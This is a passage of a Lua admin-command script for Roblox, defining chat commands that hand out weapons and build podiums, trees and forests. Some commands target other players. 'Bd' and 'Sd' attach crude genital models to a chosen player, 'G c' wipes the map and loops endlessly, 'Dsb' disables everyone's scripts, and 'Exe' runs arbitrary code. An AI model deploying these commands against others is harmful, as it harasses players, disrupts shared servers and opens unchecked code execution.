14041 | if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then | |
14042 | local PlrTab = getPlayer(Speaker, Msg) | |
14043 | if #PlrTab > 0 then | |
14044 | for _,v in pairs(PlrTab) do | |
14045 | ypcall(function() | |
14046 | NewLS(Test2, v.Backpack) | |
14047 | Output("Gave "..v.Name.." Armatae Path Bringer", Speaker, 5) | |
14048 | end) | |
14049 | end | |
14050 | end | |
14051 | else | |
14052 | Output("Sorry,This is a test weapon you're not allowed to use this.", Speaker) | |
14053 | return | |
14054 | end | |
14055 | end) | |
14056 | Command("Sdw", 7, "Gives a player Shoop da whoop", function(Msg, Speaker) | |
14057 | local PlrTab = getPlayer(Speaker, Msg) | |
14058 | if #PlrTab > 0 then | |
14059 | for _,v in pairs(PlrTab) do | |
14060 | ypcall(function() | |
14061 | NewLS(Shoop, v.Backpack) | |
14062 | Output("Gave "..v.Name.." shoop da whoop", Speaker, 5) | |
14063 | end) | |
14064 | end | |
14065 | end | |
14066 | end) | |
14067 | Command("Sck", 7, "Gives a player Soul Crushing Karate", function(Msg, Speaker) | |
14068 | if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then | |
14069 | local PlrTab = getPlayer(Speaker, Msg) | |
14070 | if #PlrTab > 0 then | |
14071 | for _,v in pairs(PlrTab) do | |
14072 | ypcall(function() | |
14073 | NewLS(SoulCrushingKarate, v.Backpack) | |
14074 | Output("Gave "..v.Name.." Soul Karate", Speaker, 5) | |
14075 | end) | |
14076 | end | |
14077 | end | |
14078 | else | |
14079 | Output("You are not allowed to use this weapon", Speaker, 5) | |
14080 | return | |
14081 | end | |
14082 | end) | |
14083 | ||
14084 | Command("Kar", 4, "Gives a player Karate Skills", function(Msg, Speaker) | |
14085 | local PlrTab = getPlayer(Speaker, Msg) | |
14086 | if #PlrTab > 0 then | |
14087 | for _,v in pairs(PlrTab) do | |
14088 | ypcall(function() | |
14089 | NewLS(Karate, v.Backpack) | |
14090 | Output("Gave "..v.Name.." Karate skills", Speaker, 5) | |
14091 | end) | |
14092 | end | |
14093 | end | |
14094 | end) | |
14095 | Command("Connect", 7, "Nil Connect", function(Msg, Speaker) | |
14096 | local PlrTab = getPlayer(Speaker, Msg) | |
14097 | if #PlrTab > 0 then | |
14098 | for _,v in pairs(PlrTab) do | |
14099 | ypcall(function() | |
14100 | NewLS(NilConnect, v.Backpack) | |
14101 | Output("Connected "..v.Name, Speaker, 5) | |
14102 | end) | |
14103 | end | |
14104 | end | |
14105 | end) | |
14106 | Command("Music", 7, "Creates music from an ID", function(Msg, Speaker) | |
14107 | ypcall(function() | |
14108 | game.Workspace["Sound"]:Remove() | |
14109 | end) | |
14110 | MU = Instance.new("Sound", game.Workspace) | |
14111 | MU.SoundId = "http://www.roblox.com/asset/?id="..Msg | |
14112 | MU.Volume = 1 | |
14113 | MU.Looped = true | |
14114 | MU:Play() | |
14115 | Output("Launched Music ID :"..Msg, Speaker, 5) | |
14116 | end) | |
14117 | ||
14118 | ||
14119 | Command("Podium", 2, "Gives a player a podium", function(Msg, Speaker) | |
14120 | local PlrTab = getPlayer(Speaker, Msg) | |
14121 | if #PlrTab > 0 then | |
14122 | for _,v in pairs(PlrTab) do | |
14123 | ypcall(function() | |
14124 | local MainColor = Color3.new(0,0,0) | |
14125 | local SeccondaryColor = Color3.new(0.69,0.13,0.13) | |
14126 | local Main = Instance.new("Model",workspace) Main.Name = "Podium" | |
14127 | local MainCFrame = v.Character.Torso.CFrame | |
14128 | * CFrame.new(0,-4,0) | |
14129 | + v.Character.Torso.CFrame.lookVector*3 | |
14130 | local SeccondaryCFrame = v.Character.Torso.CFrame | |
14131 | * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 ) | |
14132 | + v.Character.Torso.CFrame.lookVector*3 | |
14133 | if CFrame == nil then return end | |
14134 | coroutine.resume(coroutine.create(function() | |
14135 | ||
14136 | for i=1,25 do | |
14137 | wait() | |
14138 | local Step = Instance.new("Part",Main) | |
14139 | Step.FormFactor = "Custom" | |
14140 | Step.Name = "Step" | |
14141 | Step.Anchored = true | |
14142 | Step.Locked = true | |
14143 | Step.Reflectance = 0 | |
14144 | Step.TopSurface = "Smooth" | |
14145 | Step.BottomSurface = "Smooth" | |
14146 | Step.BrickColor = BrickColor.new(SeccondaryColor) | |
14147 | Step.Size = Vector3.new(6,1,3) | |
14148 | Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2)) | |
14149 | Instance.new("BlockMesh",Step) | |
14150 | ||
14151 | local Carpet = Instance.new("Part",Main) | |
14152 | Carpet.FormFactor = "Custom" | |
14153 | Carpet.Name = "Carpet" | |
14154 | Carpet.Anchored = true | |
14155 | Carpet.Locked = true | |
14156 | Carpet.Reflectance = 0 | |
14157 | Carpet.TopSurface = "Smooth" | |
14158 | Carpet.BottomSurface = "Smooth" | |
14159 | Carpet.BrickColor = BrickColor.new(MainColor) | |
14160 | Carpet.Size = Vector3.new(4,1,3.2) | |
14161 | Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2)) | |
14162 | Instance.new("BlockMesh",Carpet) | |
14163 | end | |
14164 | local MainCirc = Instance.new("Part",Main) | |
14165 | MainCirc.FormFactor = "Custom" | |
14166 | MainCirc.Name = "MainCirc" | |
14167 | MainCirc.Anchored = true | |
14168 | MainCirc.Locked = true | |
14169 | MainCirc.Reflectance = 0 | |
14170 | MainCirc.TopSurface = "Smooth" | |
14171 | MainCirc.BottomSurface = "Smooth" | |
14172 | MainCirc.BrickColor = BrickColor.new(SeccondaryColor) | |
14173 | MainCirc.Size = Vector3.new(20,1,20) | |
14174 | MainCirc.CFrame = SeccondaryCFrame | |
14175 | Instance.new("CylinderMesh",MainCirc) | |
14176 | ||
14177 | local SeccondaryCirc = Instance.new("Part",Main) | |
14178 | SeccondaryCirc.FormFactor = "Custom" | |
14179 | SeccondaryCirc.Name = "SeccondaryCirc" | |
14180 | SeccondaryCirc.Anchored = true | |
14181 | SeccondaryCirc.Locked = true | |
14182 | SeccondaryCirc.Reflectance = 0 | |
14183 | SeccondaryCirc.TopSurface = "Smooth" | |
14184 | SeccondaryCirc.BottomSurface = "Smooth" | |
14185 | SeccondaryCirc.BrickColor = BrickColor.new(MainColor) | |
14186 | SeccondaryCirc.Size = Vector3.new(18,1,18) | |
14187 | SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0) | |
14188 | Instance.new("CylinderMesh",SeccondaryCirc) | |
14189 | for i=1,math.floor(360/6) do | |
14190 | local Spike = Instance.new("Part",Main) | |
14191 | Spike.FormFactor = "Custom" | |
14192 | Spike.Name = "Spike" | |
14193 | Spike.Anchored = true | |
14194 | Spike.Locked = true | |
14195 | Spike.Reflectance = 0 | |
14196 | Spike.TopSurface = "Smooth" | |
14197 | Spike.BottomSurface = "Smooth" | |
14198 | Spike.BrickColor = BrickColor.new(MainColor) | |
14199 | Spike.Size = Vector3.new(1,7,1) | |
14200 | Spike.CFrame = SeccondaryCFrame | |
14201 | * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45)) | |
14202 | * CFrame.new(7,-7,0) | |
14203 | Torch = Instance.new("Part",Main) | |
14204 | Torch.Reflectance = 1e+999 | |
14205 | Torch.FormFactor = "Custom" | |
14206 | Torch.Shape = "Ball" | |
14207 | Torch.Anchored = true | |
14208 | Torch.Locked = true | |
14209 | Torch.Size = Vector3.new(2,2,2) | |
14210 | Torch.CFrame = Spike.CFrame | |
14211 | * CFrame.new(0,3.5,0) | |
14212 | * CFrame.Angles(0,0,0) | |
14213 | Instance.new("Fire",Torch) | |
14214 | end | |
14215 | end)) | |
14216 | end) | |
14217 | end | |
14218 | end | |
14219 | Output("Gave "..v.Name.." Podium", Speaker,nil) | |
14220 | end) | |
14221 | Command("Fcam", 1, "Fixes a player's camera", function(Msg, Speaker) | |
14222 | local PlrTab = getPlayer(Speaker, Msg) | |
14223 | if #PlrTab > 0 then | |
14224 | for _,v in pairs(PlrTab) do | |
14225 | ypcall(function() | |
14226 | v.CameraMode = "Classic" | |
14227 | NewLS([[game.Workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid | |
14228 | game.Workspace.CurrentCamera.CameraType = "Custom" | |
14229 | ]], v.Backpack) | |
14230 | Output("Fixed "..v.Name.."'s Camera", Speaker,nil) | |
14231 | end) | |
14232 | end | |
14233 | end | |
14234 | end) | |
14235 | Command("Bd", 3, "Gives a player a big stick", function(Msg, Speaker) | |
14236 | local PlrTab = getPlayer(Speaker, Msg) | |
14237 | if #PlrTab > 0 then | |
14238 | for _,v in pairs(PlrTab) do | |
14239 | ypcall(function() | |
14240 | person=v.Name | |
14241 | color = "Pastel brown" | |
14242 | pcall(function() game.Players[person].Character["Nice thing"]:Remove() end) | |
14243 | D = Instance.new("Model",workspace[person]) | |
14244 | D.Name = "Nice thing" | |
14245 | bg = Instance.new("BodyGyro",workspace[person].Torso) | |
14246 | d = Instance.new("Part") | |
14247 | d.TopSurface = 0 | |
14248 | d.BottomSurface = 0 | |
14249 | d.Name = "Main" | |
14250 | d.Parent = workspace[person]["Nice thing"] | |
14251 | d.formFactor = 3 | |
14252 | d.Size = Vector3.new(0.6*2 ,2.5*2 ,0.6*2 ) | |
14253 | d.BrickColor = BrickColor.new(color) | |
14254 | d.Position = workspace[person].Head.Position | |
14255 | d.CanCollide = false | |
14256 | local cy = Instance.new("CylinderMesh") | |
14257 | cy.Parent = d | |
14258 | w = Instance.new("Weld") | |
14259 | w.Parent = workspace[person].Head | |
14260 | w.Part0 = d | |
14261 | w.Part1 = workspace[person].Head | |
14262 | w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0) | |
14263 | local c = Instance.new("Part") | |
14264 | c.Name = "Mush" | |
14265 | c.BottomSurface = 0 | |
14266 | c.TopSurface = 0 | |
14267 | c.FormFactor = 3 | |
14268 | c.Size = Vector3.new(0.6*2 ,0.6*2 ,0.6*2 ) | |
14269 | c.CFrame = CFrame.new(d.Position) | |
14270 | c.BrickColor = BrickColor.new("Pink") | |
14271 | c.CanCollide = false | |
14272 | c.Parent = workspace[person]["Nice thing"] | |
14273 | local msm = Instance.new("SpecialMesh") | |
14274 | msm.Parent = c | |
14275 | msm.MeshType = "Sphere" | |
14276 | local cw = Instance.new("Weld") | |
14277 | cw.Parent = c | |
14278 | cw.Part0 = d | |
14279 | cw.Part1 = c | |
14280 | cw.C0 = CFrame.new(0,2.6 ,0) | |
14281 | local ball1 = Instance.new("Part") | |
14282 | ball1.Parent = workspace[person]["Nice thing"] | |
14283 | ball1.Name = "Left Ball" | |
14284 | ball1.BottomSurface = 0 | |
14285 | ball1.TopSurface = 0 | |
14286 | ball1.CanCollide = false | |
14287 | ball1.formFactor = 3 | |
14288 | ball1.Size = Vector3.new(1*2 ,1*2 ,1*2 ) | |
14289 | ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position) | |
14290 | ball1.BrickColor = BrickColor.new(color) | |
14291 | local bsm = Instance.new("SpecialMesh") | |
14292 | bsm.Parent = ball1 | |
14293 | bsm.MeshType = "Sphere" | |
14294 | local b1w = Instance.new("Weld") | |
14295 | b1w.Parent = ball1 | |
14296 | b1w.Part0 = workspace[person]["Left Leg"] | |
14297 | b1w.Part1 = ball1 | |
14298 | b1w.C0 = CFrame.new(0,0.5 ,-.5 ) | |
14299 | local ball2 = Instance.new("Part") | |
14300 | ball2.Parent = workspace[person]["Nice thing"] | |
14301 | ball2.Name = "Right Ball" | |
14302 | ball2.BottomSurface = 0 | |
14303 | ball2.CanCollide = false | |
14304 | ball2.TopSurface = 0 | |
14305 | ball2.formFactor = 3 | |
14306 | ball2.Size = Vector3.new(1*2 ,1*2 ,1*2 ) | |
14307 | ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position) | |
14308 | ball2.BrickColor = BrickColor.new(color) | |
14309 | local b2sm = Instance.new("SpecialMesh") | |
14310 | b2sm.Parent = ball2 | |
14311 | b2sm.MeshType = "Sphere" | |
14312 | local b2w = Instance.new("Weld") | |
14313 | b2w.Parent = ball2 | |
14314 | b2w.Part0 = workspace[person]["Right Leg"] | |
14315 | b2w.Part1 = ball2 | |
14316 | b2w.C0 = CFrame.new(0,0.5,-.5) | |
14317 | Output("Gave "..v.Name.." a big stick", Speaker,nil) | |
14318 | end) | |
14319 | end | |
14320 | end | |
14321 | end) | |
14322 | Command("Tree", 3, "Trees a player", function(Msg, Speaker) | |
14323 | local PlrTab = getPlayer(Speaker, Msg) | |
14324 | if #PlrTab > 0 then | |
14325 | for _,v in pairs(PlrTab) do | |
14326 | ypcall(function() | |
14327 | if v.Character:findFirstChild("Torso") == nil then return end | |
14328 | local treet = Instance.new("Part", workspace) | |
14329 | treet.Size = Vector3.new(4, 20, 4) | |
14330 | treet.Anchored = true | |
14331 | treet.Locked = true | |
14332 | treet.BrickColor = BrickColor.new("Reddish brown") | |
14333 | treet.CFrame = v.Character.Torso.CFrame * CFrame.new(0, -13, 0) | |
14334 | local treetop = Instance.new("Part", workspace) | |
14335 | treetop.BrickColor = BrickColor.new("Earth green") | |
14336 | treetop.TopSurface = "Smooth" | |
14337 | treetop.BottomSurface = "Smooth" | |
14338 | treetop.Size = Vector3.new(13, 13, 13) | |
14339 | treetop.Anchored = true | |
14340 | treetop.Shape = "Ball" | |
14341 | treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0) | |
14342 | v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.new(0, 5, 0) | |
14343 | coroutine.resume(coroutine.create(function() | |
14344 | for i = 1, 200 do | |
14345 | wait() | |
14346 | if treet ~= nil then | |
14347 | if treetop ~= nil then | |
14348 | treet.CFrame = treet.CFrame * CFrame.new(0 ,0.1, 0) | |
14349 | treetop.CFrame = treetop.CFrame * CFrame.new(0 ,0.1, 0) | |
14350 | end | |
14351 | end | |
14352 | end | |
14353 | end)) | |
14354 | Output("Treed "..v.Name, Speaker,nil) | |
14355 | end) | |
14356 | end | |
14357 | end | |
14358 | end) | |
14359 | Command("Sd", 3, "Gives a player a small stick", function(Msg, Speaker) | |
14360 | local PlrTab = getPlayer(Speaker, Msg) | |
14361 | if #PlrTab > 0 then | |
14362 | for _,v in pairs(PlrTab) do | |
14363 | ypcall(function() | |
14364 | person=v.Name | |
14365 | color = "Pastel brown" | |
14366 | pcall(function() game.Players[person].Character["Nice thing"]:Remove() end) | |
14367 | D = Instance.new("Model",workspace[person]) | |
14368 | D.Name = "Nice thing" | |
14369 | bg = Instance.new("BodyGyro",workspace[person].Torso) | |
14370 | d = Instance.new("Part") | |
14371 | d.TopSurface = 0 | |
14372 | d.BottomSurface = 0 | |
14373 | d.Name = "Main" | |
14374 | d.Parent = workspace[person]["Nice thing"] | |
14375 | d.formFactor = 3 | |
14376 | d.Size = Vector3.new(0.6/2 ,2.5 ,0.6/2 ) | |
14377 | d.BrickColor = BrickColor.new(color) | |
14378 | d.Position = workspace[person].Head.Position | |
14379 | d.CanCollide = false | |
14380 | local cy = Instance.new("CylinderMesh") | |
14381 | cy.Parent = d | |
14382 | w = Instance.new("Weld") | |
14383 | w.Parent = workspace[person].Head | |
14384 | w.Part0 = d | |
14385 | w.Part1 = workspace[person].Head | |
14386 | w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0) | |
14387 | local c = Instance.new("Part") | |
14388 | c.Name = "Mush" | |
14389 | c.BottomSurface = 0 | |
14390 | c.TopSurface = 0 | |
14391 | c.FormFactor = 3 | |
14392 | c.Size = Vector3.new(0.6/2 ,0.6/2 ,0.6/2 ) | |
14393 | c.CFrame = CFrame.new(d.Position) | |
14394 | c.BrickColor = BrickColor.new("Pink") | |
14395 | c.CanCollide = false | |
14396 | c.Parent = workspace[person]["Nice thing"] | |
14397 | local msm = Instance.new("SpecialMesh") | |
14398 | msm.Parent = c | |
14399 | msm.MeshType = "Sphere" | |
14400 | local cw = Instance.new("Weld") | |
14401 | cw.Parent = c | |
14402 | cw.Part0 = d | |
14403 | cw.Part1 = c | |
14404 | cw.C0 = CFrame.new(0,1.3 ,0) | |
14405 | local ball1 = Instance.new("Part") | |
14406 | ball1.Parent = workspace[person]["Nice thing"] | |
14407 | ball1.Name = "Left Ball" | |
14408 | ball1.BottomSurface = 0 | |
14409 | ball1.TopSurface = 0 | |
14410 | ball1.CanCollide = false | |
14411 | ball1.formFactor = 3 | |
14412 | ball1.Size = Vector3.new(1 ,1 ,1 ) | |
14413 | ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position*2) | |
14414 | ball1.BrickColor = BrickColor.new(color) | |
14415 | local bsm = Instance.new("SpecialMesh") | |
14416 | bsm.Parent = ball1 | |
14417 | bsm.MeshType = "Sphere" | |
14418 | local b1w = Instance.new("Weld") | |
14419 | b1w.Parent = ball1 | |
14420 | b1w.Part0 = workspace[person]["Left Leg"] | |
14421 | b1w.Part1 = ball1 | |
14422 | b1w.C0 = CFrame.new(0,0.5 ,-.5 ) | |
14423 | local ball2 = Instance.new("Part") | |
14424 | ball2.Parent = workspace[person]["Nice thing"] | |
14425 | ball2.Name = "Right Ball" | |
14426 | ball2.BottomSurface = 0 | |
14427 | ball2.CanCollide = false | |
14428 | ball2.TopSurface = 0 | |
14429 | ball2.formFactor = 3 | |
14430 | ball2.Size = Vector3.new(1 ,1 ,1 ) | |
14431 | ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position*2) | |
14432 | ball2.BrickColor = BrickColor.new(color) | |
14433 | local b2sm = Instance.new("SpecialMesh") | |
14434 | b2sm.Parent = ball2 | |
14435 | b2sm.MeshType = "Sphere" | |
14436 | local b2w = Instance.new("Weld") | |
14437 | b2w.Parent = ball2 | |
14438 | b2w.Part0 = workspace[person]["Right Leg"] | |
14439 | b2w.Part1 = ball2 | |
14440 | b2w.C0 = CFrame.new(0,0.5,-.5) | |
14441 | Output("Gave "..v.Name.." a small stick", Speaker,nil) | |
14442 | end) | |
14443 | end | |
14444 | end | |
14445 | end) | |
14446 | Command("Forest", 5, "Creates a forest", function(Msg, Speaker) | |
14447 | local tmodel = Instance.new("Model", workspace) | |
14448 | for i = 1, 3000 do | |
14449 | local treet = Instance.new("Part", tmodel) | |
14450 | treet.Size = Vector3.new(4, 20, 4) | |
14451 | treet.Anchored = true | |
14452 | treet.Locked = true | |
14453 | treet.BrickColor = BrickColor.new("Reddish brown") | |
14454 | treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500)) | |
14455 | local treetop = Instance.new("Part", tmodel) | |
14456 | treetop.BrickColor = BrickColor.new("Earth green") | |
14457 | treetop.TopSurface = "Smooth" | |
14458 | treetop.BottomSurface = "Smooth" | |
14459 | treetop.Size = Vector3.new(13, 13, 13) | |
14460 | treetop.Anchored = true | |
14461 | treetop.Shape = "Ball" | |
14462 | treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0) | |
14463 | end | |
14464 | Output("Created a forest", Speaker,nil) | |
14465 | end) | |
14466 | ||
14467 | ||
14468 | Command("G", 1, "Get something? idk", function(Msg, Speaker) | |
14469 | if Msg == "r" then | |
14470 | Speaker:LoadCharacter() | |
14471 | elseif Msg == "rj" then | |
14472 | NewLS([[game:service'TeleportService':Teleport(game.PlaceId)]],Speaker.Character) | |
14473 | elseif Msg == "c" then | |
14474 | NewS([[ | |
14475 | for _,v in pairs(game.Workspace:GetChildren()) do | |
14476 | if v.Name ~= "Terrain" then | |
14477 | v:Destroy() | |
14478 | end | |
14479 | end | |
14480 | ]],game.Workspace) | |
14481 | ||
14482 | a = Instance.new("Part") | |
14483 | a.Parent = game.Workspace | |
14484 | a.Name = "Base" | |
14485 | a.Position = Vector3.new(0, 0.6, 0) | |
14486 | a.Size = Vector3.new(1002, 0, 1002) | |
14487 | a.Material = "Grass" | |
14488 | a.Anchored = true | |
14489 | a.BrickColor = BrickColor.new("Earth green") | |
14490 | NewS([[ | |
14491 | for _,v in pairs(game.Players:GetChildren()) do | |
14492 | v:LoadCharacter() | |
14493 | end | |
14494 | ]], game.Workspace) | |
14495 | ||
14496 | ||
14497 | ||
14498 | end | |
14499 | game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100) | |
14500 | game.Lighting.ColorShift_Top = Color3.new(0, 0, 0) | |
14501 | game.Lighting.Ambient = Color3.new(1, 1, 1) | |
14502 | game.Lighting.Brightness = 1 | |
14503 | game.Lighting.TimeOfDay = "11:00:00" | |
14504 | game.Lighting.FogEnd = 99999999 | |
14505 | game.Workspace.Base.Transparency = 0 | |
14506 | game.Workspace.Base.BrickColor = BrickColor.new("Earth green") | |
14507 | game.Workspace.Base.Locked = true | |
14508 | game.Workspace.Base.Anchored = true | |
14509 | t = game.Teams:GetChildren() | |
14510 | for i = 1, #t do | |
14511 | if t[i]:IsA("Team") then | |
14512 | t[i]: Destroy() | |
14513 | end | |
14514 | end | |
14515 | l = game.Lighting:GetChildren() | |
14516 | for i = 1, #l do | |
14517 | if l[i]:IsA("Sky") then | |
14518 | l[i]: Destroy() | |
14519 | end | |
14520 | end | |
14521 | g = game.Workspace:GetChildren() | |
14522 | for i = 1, #g do | |
14523 | if g[i]:IsA("Part") then | |
14524 | g[i]: Destroy() | |
14525 | end | |
14526 | end | |
14527 | for i = 1, #g do | |
14528 | if g[i]:IsA("Script") then | |
14529 | g[i]: Destroy() | |
14530 | end | |
14531 | end | |
14532 | for i = 1, #g do | |
14533 | if g[i]:IsA("StringValue") then | |
14534 | g[i]: Destroy() | |
14535 | end | |
14536 | end | |
14537 | for i = 1, #g do | |
14538 | if g[i]:IsA("IntValue") then | |
14539 | g[i]: Destroy() | |
14540 | end | |
14541 | end | |
14542 | for i = 1, #g do | |
14543 | if g[i]:IsA("BoolValue") then | |
14544 | g[i]: Destroy() | |
14545 | end | |
14546 | end | |
14547 | for i = 1, #g do | |
14548 | if g[i]:IsA("NumberValue") then | |
14549 | g[i]: Destroy() | |
14550 | end | |
14551 | end | |
14552 | for i = 1, #g do | |
14553 | if g[i]:IsA("ObjectValue") then | |
14554 | g[i]: Destroy() | |
14555 | end | |
14556 | end | |
14557 | for i = 1, #g do | |
14558 | if g[i]:IsA("RayValue") then | |
14559 | g[i]: Destroy() | |
14560 | end | |
14561 | end | |
14562 | for i = 1, #g do | |
14563 | if g[i]:IsA("Sound") then | |
14564 | g[i]: Destroy() | |
14565 | end | |
14566 | end | |
14567 | for i = 1, #g do | |
14568 | if g[i]:IsA("Accoutrement") then | |
14569 | g[i]: Destroy() | |
14570 | end | |
14571 | end | |
14572 | for i = 1, #g do | |
14573 | if g[i]:IsA("BrickColorValue") then | |
14574 | g[i]: Destroy() | |
14575 | end | |
14576 | end | |
14577 | for i = 1, #g do | |
14578 | if g[i]:IsA("Motor") then | |
14579 | g[i]: Destroy() | |
14580 | end | |
14581 | end | |
14582 | for i = 1, #g do | |
14583 | if g[i]:IsA("MotorFeature") then | |
14584 | g[i]: Destroy() | |
14585 | end | |
14586 | end | |
14587 | for i = 1, #g do | |
14588 | if g[i]:IsA("Color3Value") then | |
14589 | g[i]: Destroy() | |
14590 | end | |
14591 | end | |
14592 | for i = 1, #g do | |
14593 | if g[i]:IsA("BindableEvent") then | |
14594 | g[i]: Destroy() | |
14595 | end | |
14596 | end | |
14597 | for i = 1, #g do | |
14598 | if g[i]:IsA("BindableFunction") then | |
14599 | g[i]: Destroy() | |
14600 | end | |
14601 | end | |
14602 | for i = 1, #g do | |
14603 | if g[i]:IsA("LocalScript") then | |
14604 | g[i]: Destroy() | |
14605 | end | |
14606 | end | |
14607 | for i = 1, #g do | |
14608 | if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then | |
14609 | g[i]: Remove() | |
14610 | end | |
14611 | end | |
14612 | for i = 1, #g do | |
14613 | if g[i]:IsA("Hint") then | |
14614 | g[i]: Destroy() | |
14615 | end | |
14616 | end | |
14617 | for i = 1, #g do | |
14618 | if g[i]:IsA("Truss") then | |
14619 | g[i]: Destroy() | |
14620 | end | |
14621 | end | |
14622 | for i = 1, #g do | |
14623 | if g[i]:IsA("Tool") then | |
14624 | g[i]: Destroy() | |
14625 | end | |
14626 | end | |
14627 | for i = 1, #g do | |
14628 | if g[i]:IsA("HopperBin") then | |
14629 | g[i]: Destroy() | |
14630 | end | |
14631 | end | |
14632 | for i = 1, #g do | |
14633 | if g[i]:IsA("Fire") then | |
14634 | g[i]: Destroy() | |
14635 | end | |
14636 | end | |
14637 | for i = 1, #g do | |
14638 | if g[i]:IsA("Explosion") then | |
14639 | g[i]: Destroy() | |
14640 | end | |
14641 | end | |
14642 | for i = 1, #g do | |
14643 | if g[i]:IsA("Hat") then | |
14644 | g[i]: Destroy() | |
14645 | end | |
14646 | end | |
14647 | p = Instance.new("Part") | |
14648 | p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true, | |
14649 | BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0)) | |
14650 | while true do wait() | |
14651 | for i = 1, #g do | |
14652 | if g[i]:IsA("Message") then | |
14653 | g[i]: Destroy() | |
14654 | end | |
14655 | end | |
14656 | for i = 1, #g do | |
14657 | if g[i]:IsA("Hint") then | |
14658 | g[i]: Destroy() | |
14659 | end | |
14660 | end | |
14661 | end | |
14662 | ||
14663 | ||
14664 | end) | |
14665 | ||
14666 | Command("Jungle", 5, "Creates a jungle", function(Msg, Speaker) | |
14667 | local tmodel = Instance.new("Model", workspace) | |
14668 | for i = 1, 5000 do | |
14669 | local treet = Instance.new("Part", tmodel) | |
14670 | treet.Size = Vector3.new(4, 20, 4) | |
14671 | treet.Anchored = true | |
14672 | treet.Locked = true | |
14673 | treet.BrickColor = BrickColor.new("Reddish brown") | |
14674 | treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500)) | |
14675 | local treetop = Instance.new("Part", tmodel) | |
14676 | treetop.BrickColor = BrickColor.new("Earth green") | |
14677 | treetop.TopSurface = "Smooth" | |
14678 | treetop.BottomSurface = "Smooth" | |
14679 | treetop.Size = Vector3.new(13, 13, 13) | |
14680 | treetop.Anchored = true | |
14681 | treetop.Shape = "Ball" | |
14682 | treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0) | |
14683 | end | |
14684 | Output("Created a jungle", Speaker,nil) | |
14685 | end) | |
14686 | Command("Menu", 3, "Brings Up Admin Menu", function(Msg, Speaker) | |
14687 | Dismiss(Speaker) | |
14688 | Menu(Speaker) | |
14689 | end) | |
14690 | Command("FA", 1, "Shows a list of creator's favorite animes", function(Msg, Speaker) | |
14691 | Dismiss(Speaker) | |
14692 | Output("Kanokon", Speaker, nil, nil, Database.Colors.Orange, "rbxassetid://162502378") | |
14693 | Output("Bleach", Speaker, nil, nil, Database.Colors.PinkRed, "rbxassetid://150668617") | |
14694 | Output("Sword Art Online", Speaker, nil, nil, Database.Colors.Black, "rbxassetid://129964814") | |
14695 | Output("Claymore", Speaker, nil, nil, Database.Colors.Grey, "rbxassetid://50802941") | |
14696 | Output("Full Metal Alchemy", Speaker, nil, nil, Database.AdvancedColors.CustomPurple, "rbxassetid://100859526") | |
14697 | Output("Attack on Titan", Speaker, nil, nil, Database.Colors.Blue, "rbxassetid://122579277") | |
14698 | end) | |
14699 | ||
14700 | Command("Cred", 1, "Credits", function(Msg, Speaker) | |
14701 | Dismiss(Speaker) | |
14702 | Output("MasterKelvinVIP", Speaker, nil, nil, Database.Colors.Pink, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP") | |
14703 | Output("Cobalt1164", Speaker, nil, nil, Database.Colors.Purple, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=Cobalt1164") | |
14704 | Output("Optiplex123", Speaker, nil, nil, Database.Colors.Yellow, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=optiplex123") | |
14705 | Output("Aleksa12432", Speaker, nil, nil, Database.Colors.Blue, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=aleksa12432") | |
14706 | Output("Flipflop8421", Speaker, nil, nil, Database.Colors.Green, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421") | |
14707 | Output("Waitex", Speaker, nil, nil, Database.Colors.Red, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=W8X") | |
14708 | end) | |
14709 | Command("Dsb", 7, "Disables everyone's SB", function(Msg, Speaker) | |
14710 | Dismiss(Speaker) | |
14711 | NewS(ReSB, game.Workspace) | |
14712 | Output("Disabled everyone's SB",Speaker,nil) | |
14713 | end) | |
14714 | Command("Plrs", 1, "Brings up the players selection", function(Msg, Speaker) | |
14715 | ListPlayers(Speaker,Msg~="debug") | |
14716 | end) | |
14717 | Command("Exe", 5, "Executes a script", function(Msg, Speaker) | |
14718 | local Func,Error = loadstring(Msg) | |
14719 | getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Output(Rtn, Speaker) end | |
14720 | getfenv(Func).Speaker = Speaker | |
14721 | if Error == nil then | |
14722 | coroutine.wrap(function() | |
14723 | Func() | |
14724 | end)() | |
14725 | Output("Command Executed", Speaker, 5) | |
14726 | else | |
14727 | Output(Error, Speaker, 10) | |
14728 | end | |
14729 | end) | |
14730 | Command("Ping", 1, "Pings a message", function(Msg, Speaker) | |
14731 | Output(Msg, Speaker) | |
